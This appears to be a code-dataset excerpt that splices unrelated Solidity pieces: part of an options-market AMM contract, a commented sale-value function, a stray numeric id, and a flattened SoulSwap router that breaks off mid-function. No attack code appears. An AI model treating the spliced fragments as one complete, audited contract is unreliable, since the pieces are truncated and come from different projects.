bTokenPrice = getPriceForMarket(market); uint256 wTokenPrice = uint256(1e18).sub(bTokenPrice); // Balance on higher reserve side is the sum of what can be minted (collateralTokenBalance) // plus existing balance of the token uint256 bTokenVirtualBalance; uint256 wTokenVirtualBalance; if (bTokenPrice <= wTokenPrice) { // Rb >= Rw, Pb <= Pw bTokenVirtualBalance = bTokenBalanceMax; wTokenVirtualBalance = bTokenVirtualBalance.mul(bTokenPrice).div( wTokenPrice ); // Sanity check that we don't exceed actual physical balances // In case this happens, adjust virtual balances to not exceed maximum // available reserves while still preserving correct price if (wTokenVirtualBalance > wTokenBalanceMax) { wTokenVirtualBalance = wTokenBalanceMax; bTokenVirtualBalance = wTokenVirtualBalance .mul(wTokenPrice) .div(bTokenPrice); } } else { // if Rb < Rw, Pb > Pw wTokenVirtualBalance = wTokenBalanceMax; bTokenVirtualBalance = wTokenVirtualBalance.mul(wTokenPrice).div( bTokenPrice ); // Sanity check if (bTokenVirtualBalance > bTokenBalanceMax) { bTokenVirtualBalance = bTokenBalanceMax; wTokenVirtualBalance = bTokenVirtualBalance .mul(bTokenPrice) .div(wTokenPrice); } } return (bTokenVirtualBalance, wTokenVirtualBalance); } /** * Get current collateral price expressed in payment token */ function getCurrentCollateralPrice() public view returns (uint256) { // TODO: Cache the Oracle price within transaction (, int256 latestAnswer, , , ) = priceOracle.latestRoundData(); require(latestAnswer >= 0, "invalid value received from price oracle"); if (shouldInvertOraclePrice) { return paymentAndCollateralConversionFactor.div(uint256(latestAnswer)); } else { return uint256(latestAnswer).mul(paymentAndCollateralConversionFactor); } } /** * @dev Get price of bToken for a given market */ function getPriceForMarket(IMarket market) public view returns (uint256) { return // Note! This function assumes the price obtained from the onchain oracle // in getCurrentCollateralPrice is a valid market price in units of // collateralToken/paymentToken. If the onchain price oracle's value // were to drift from the true market price, then the bToken price // we calculate here would also drift, and will result in undefined // behavior for any functions which call getPriceForMarket calcPrice( market.expirationDate().sub(now), market.priceRatio(), getCurrentCollateralPrice(), volatilityFactor ); } /** * @dev Calculate price of bToken based on Black-Scholes approximation. * Formula: 0.4 * ImplVol * sqrt(timeUntilExpiry) * currentPrice / strike */ function calcPrice( uint256 timeUntilExpiry, uint256 strike, uint256 currentPrice, uint256 volatility ) public pure returns (uint256) { uint256 intrinsic = 0; if (currentPrice > strike) { intrinsic = currentPrice.sub(strike).mul(1e18).div(currentPrice); } uint256 timeValue = Math .sqrt(timeUntilExpiry) .mul(volatility) .mul(currentPrice) .div(strike); return intrinsic.add(timeValue); } /** * @dev Buy bToken of a given market. * We supply market index instead of market address to ensure that only supported markets can be traded using this AMM * collateralMaximum is used for slippage protection */ function bTokenBuy( uint256 marketIndex, uint256 bTokenAmount, uint256 collateralMaximum ) public minTradeSize(bTokenAmount) returns (uint256) { IMarket optionMarket = getMarket(marketIndex); require( optionMarket.state() == IMarket.MarketState.OPEN, "bTokenBuy must be open" ); uint256 collateralAmount = bTokenGetCollateralIn( optionMarket, bTokenAmount ); require( collateralAmount <= collateralMaximum, "bTokenBuy: slippage exceeded" ); // Move collateral into this contract collateralToken.safeTransferFrom( msg.sender, address(this), collateralAmount ); // Mint new options only as needed ISimpleToken bToken = optionMarket.bToken(); uint256 bTokenBalance = bToken.balanceOf(address(this)); if (bTokenBalance < bTokenAmount) { // Approve the collateral to mint bTokenAmount of new options collateralToken.approve(address(optionMarket), bTokenAmount); optionMarket.mintOptions(bTokenAmount.sub(bTokenBalance)); } // Send all bTokens back bToken.transfer(msg.sender, bTokenAmount); // Emit the event emit BTokensBought(msg.sender, bTokenAmount, collateralAmount); // Return the amount of collateral required to buy return collateralAmount; } /** * @dev Sell bToken of a given market. * We supply market index instead of market address to ensure that only supported markets can be traded using this AMM * collateralMaximum is used for slippage protection */ function bTokenSell( uint256 marketIndex, uint256 bTokenAmount, uint256 collateralMinimum ) public minTradeSize(bTokenAmount) returns (uint256) { IMarket optionMarket = getMarket(marketIndex); require( optionMarket.state() == IMarket.MarketState.OPEN, "bTokenSell must be open" ); // Get initial stats bTokenAmount = bTokenAmount; uint256 collateralAmount = bTokenGetCollateralOut( optionMarket, bTokenAmount ); require( collateralAmount >= collateralMinimum, "bTokenSell: slippage exceeded" ); // Move bToken into this contract optionMarket.bToken().safeTransferFrom( msg.sender, address(this), bTokenAmount ); // Always be closing! uint256 bTokenBalance = optionMarket.bToken().balanceOf(address(this)); uint256 wTokenBalance = optionMarket.wToken().balanceOf(address(this)); uint256 closeAmount = Math.min(bTokenBalance, wTokenBalance); if (closeAmount > 0) { optionMarket.closePosition(closeAmount); } // Send the tokens to the seller collateralToken.transfer(msg.sender, collateralAmount); // Emit the event emit BTokensSold(msg.sender, bTokenAmount, collateralAmount); // Return the amount of collateral received during sale return collateralAmount; } /** * @dev Calculate amount of collateral required to buy bTokens */ function bTokenGetCollateralIn(IMarket market, uint256 bTokenAmount) public view returns (uint256) { // Shortcut for 0 amount if (bTokenAmount == 0) return 0; LocalVars memory vars; // Holds all our calculation results // Get initial stats vars.bTokenAmount = bTokenAmount; (vars.bTokenBalance, vars.wTokenBalance) = getVirtualReserves(market); uint256 sumBalance = vars.bTokenBalance.add(vars.wTokenBalance); if (sumBalance > vars.bTokenAmount) { vars.toSquare = sumBalance.sub(vars.bTokenAmount); } else { vars.toSquare = vars.bTokenAmount.sub(sumBalance); } vars.collateralAmount = Math .sqrt( vars.toSquare.mul(vars.toSquare).add( vars.bTokenAmount.mul(vars.wTokenBalance).mul(4) ) ) .add(vars.bTokenAmount) .sub(vars.bTokenBalance) .sub(vars.wTokenBalance) .div(2); return vars.collateralAmount; } /** * @dev Calculate amount of collateral in exchange for selling bTokens */ function bTokenGetCollateralOut(IMarket market, uint256 bTokenAmount) public view returns (uint256) { return bTokenGetCollateralOutInternal( market, bTokenAmount, collateralToken.balanceOf(address(this)) ); } function bTokenGetCollateralOutInternal( IMarket market, uint256 bTokenAmount, uint256 _collateralTokenBalance ) internal view returns (uint256) { // Shortcut for 0 amount if (bTokenAmount == 0) return 0; ( uint256 bTokenBalance, uint256 wTokenBalance ) = getVirtualReservesInternal(market, _collateralTokenBalance); uint256 toSquare = bTokenAmount.add(bTokenBalance).add(wTokenBalance); uint256 collateralAmount = toSquare .sub( Math.sqrt( toSquare.mul(toSquare).sub( bTokenAmount.mul(wTokenBalance).mul(4) ) ) ) .div(2); return collateralAmount; } /** * @dev Calculate amount of collateral in exchange for selling wTokens * This method is used internally when withdrawing liquidity with `sellTokens` set to true */ function wTokenGetCollateralOutInternal( IMarket market, uint256 wTokenAmount, uint256 _collateralTokenBalance ) internal view returns (uint256) { // Shortcut for 0 amount if (wTokenAmount == 0) return 0; ( uint256 bTokenBalance, uint256 wTokenBalance ) = getVirtualReservesInternal(market, _collateralTokenBalance); uint256 toSquare = wTokenAmount.add(wTokenBalance).add(bTokenBalance); uint256 collateralAmount = toSquare .sub( Math.sqrt( toSquare.mul(toSquare).sub( wTokenAmount.mul(bTokenBalance).mul(4) ) ) ) .div(2); return collateralAmount; } }
Calculate sale value of pro-rata LP b/wTokens/ Calculate amount of collateral left in the pool to sell tokens to Subtract pro-rata collateral amount to be withdrawn Given remaining collateral calculate how much all tokens can be sold for
function getTokensSaleValue(uint256 lpTokenAmount) public view returns (uint256) { if (lpTokenAmount == 0) return 0; uint256 lpTokenSupply = lpToken.totalSupply(); if (lpTokenSupply == 0) return 0; address[] memory markets = getMarkets(); (uint256 unclaimedCollateral, ) = getUnclaimedBalances(); uint256 totalCollateral = unclaimedCollateral.add(collateralToken.balanceOf(address(this))); totalCollateral = totalCollateral.mul(lpTokenSupply.sub(lpTokenAmount)).div(lpTokenSupply); uint256 collateralLeft = totalCollateral; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { uint256 bTokenToSell = optionMarket .bToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 wTokenToSell = optionMarket .wToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 collateralAmountB = bTokenGetCollateralOutInternal( optionMarket, bTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountB); uint256 collateralAmountW = wTokenGetCollateralOutInternal( optionMarket, wTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountW); } } return totalCollateral.sub(collateralLeft); }
10,594,763
/** *Submitted for verification at Etherscan.io on 2022-02-19 */ // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; // File: soulswap-core/contracts/interfaces/IERC20.sol interface IERC20 { // events event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed owner, address indexed spender, uint value); // token details function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); // address details function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function getOwner() external view returns (address); // token actions function approve(address spender, uint value) external returns (bool); function transfer(address recipient, uint value) external returns (bool); function transferFrom(address sender, address recipient, uint value) external returns (bool); } // File: contracts/interfaces/ISoulSwapRouter01.sol pragma solidity >=0.6.2; interface ISoulSwapRouter01 { function factory() external view returns (address); function WETH() external view returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/interfaces/ISoulSwapRouter02.sol pragma solidity >=0.6.2; interface ISoulSwapRouter02 is ISoulSwapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: contracts/interfaces/ISoulSwapFactory.sol pragma solidity >=0.5.0; interface ISoulSwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); event SetFeeTo(address indexed user, address indexed _feeTo); event SetMigrator(address indexed user, address indexed _migrator); event FeeToSetter(address indexed user, address indexed _feeToSetter); function feeTo() external view returns (address _feeTo); function feeToSetter() external view returns (address _feeToSetter); function migrator() external view returns (address _migrator); function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); function setMigrator(address) external; function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IWETH.sol pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // File: soulswap-lib/contracts/libraries/TransferHelper.sol pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // File: soulswap-core/contracts/interfaces/ISoulSwapPair.sol pragma solidity >=0.5.0; interface ISoulSwapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: soulswap-core/contracts/libraries/SafeMath.sol pragma solidity >=0.5.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/SoulSwapLibrary.sol pragma solidity >=0.5.0; library SoulSwapLibrary { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'SoulSwapLibrary: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'SoulSwapLibrary: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'2d2a1a6740caa0c2e9da78939c9ca5c8ff259bf16e2b9dcbbec714720587df90' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); pairFor(factory, tokenA, tokenB); (uint reserve0, uint reserve1,) = ISoulSwapPair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'SoulSwapLibrary: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'SoulSwapLibrary: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'SoulSwapLibrary: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'SoulSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(998); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'SoulSwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'SoulSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(998); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'SoulSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require( path.length >= 2, 'SoulSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File: contracts/SoulSwapRouter.sol pragma solidity >=0.6.6; contract SoulSwapRouter is ISoulSwapRouter02 { using SafeMath for uint256; address public immutable override factory; address public immutable override WETH; modifier ensure(uint256 deadline) { require(deadline >= block.timestamp, "SoulSwapRouter: EXPIRED"); _; } constructor(address _factory, address _WETH) public { factory = _factory; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin ) internal virtual returns (uint256 amountA, uint256 amountB) { // create the pair if it doesn't exist yet if (ISoulSwapFactory(factory).getPair(tokenA, tokenB) == address(0)) { ISoulSwapFactory(factory).createPair(tokenA, tokenB); } (uint256 reserveA, uint256 reserveB) = SoulSwapLibrary.getReserves(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else { uint256 amountBOptimal = SoulSwapLibrary.quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require( amountBOptimal >= amountBMin, "SoulSwapRouter: INSUFFICIENT_B_AMOUNT" ); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint256 amountAOptimal = SoulSwapLibrary.quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require( amountAOptimal >= amountAMin, "SoulSwapRouter: INSUFFICIENT_A_AMOUNT" ); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external virtual override ensure(deadline) returns ( uint256 amountA, uint256 amountB, uint256 liquidity ) { (amountA, amountB) = _addLiquidity( tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin ); address pair = SoulSwapLibrary.pairFor(factory, tokenA, tokenB); TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); liquidity = ISoulSwapPair(pair).mint(to); } function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable virtual override ensure(deadline) returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ) { (amountToken, amountETH) = _addLiquidity( token, WETH, amountTokenDesired, msg.value, amountTokenMin, amountETHMin ); address pair = SoulSwapLibrary.pairFor(factory, token, WETH); TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken); IWETH(WETH).deposit{value: amountETH}(); assert(IWETH(WETH).transfer(pair, amountETH)); liquidity = ISoulSwapPair(pair).mint(to); // refund dust eth, if any if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH); } // **** REMOVE LIQUIDITY **** function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) public virtual override ensure(deadline) returns (uint256 amountA, uint256 amountB) { address pair = SoulSwapLibrary.pairFor(factory, tokenA, tokenB); ISoulSwapPair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint256 amount0, uint256 amount1) = ISoulSwapPair(pair).burn(to); (address token0, ) = SoulSwapLibrary.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, "SoulSwapRouter: INSUFFICIENT_A_AMOUNT"); require(amountB >= amountBMin, "SoulSwapRouter: INSUFFICIENT_B_AMOUNT"); } function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) public virtual override ensure(deadline) returns (uint256 amountToken, uint256 amountETH) { (amountToken, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint256 amountA, uint256 amountB) { address pair = SoulSwapLibrary.pairFor(factory, tokenA, tokenB); uint256 value = approveMax ? uint256(-1) : liquidity; ISoulSwapPair(pair).permit( msg.sender, address(this), value, deadline, v, r, s ); (amountA, amountB) = removeLiquidity( tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline ); } function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint256 amountToken, uint256 amountETH) { address pair = SoulSwapLibrary.pairFor(factory, token, WETH); uint256 value = approveMax ? uint256(-1) : liquidity; ISoulSwapPair(pair).permit( msg.sender, address(this), value, deadline, v, r, s ); (amountToken, amountETH) = removeLiquidityETH( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) **** function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) public virtual override ensure(deadline) returns (uint256 amountETH) { (, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer( token, to, IERC20(token).balanceOf(address(this)) ); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint256 amountETH) { address pair = SoulSwapLibrary.pairFor(factory, token, WETH); uint256 value = approveMax ? uint256(-1) : liquidity; ISoulSwapPair(pair).permit( msg.sender, address(this), value, deadline, v, r, s ); amountETH = removeLiquidityETHSupportingFeeOnTransferTokens( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap( uint256[] memory amounts, address[] memory path, address _to ) internal virtual { for (uint256 i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0, ) = SoulSwapLibrary.sortTokens(input, output); uint256 amountOut = amounts[i + 1]; (uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0)); address to = i < path.length - 2 ? SoulSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; ISoulSwapPair(SoulSwapLibrary.pairFor(factory, input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } function swapExactTokensForTokens( uint256 amountIn, uint256 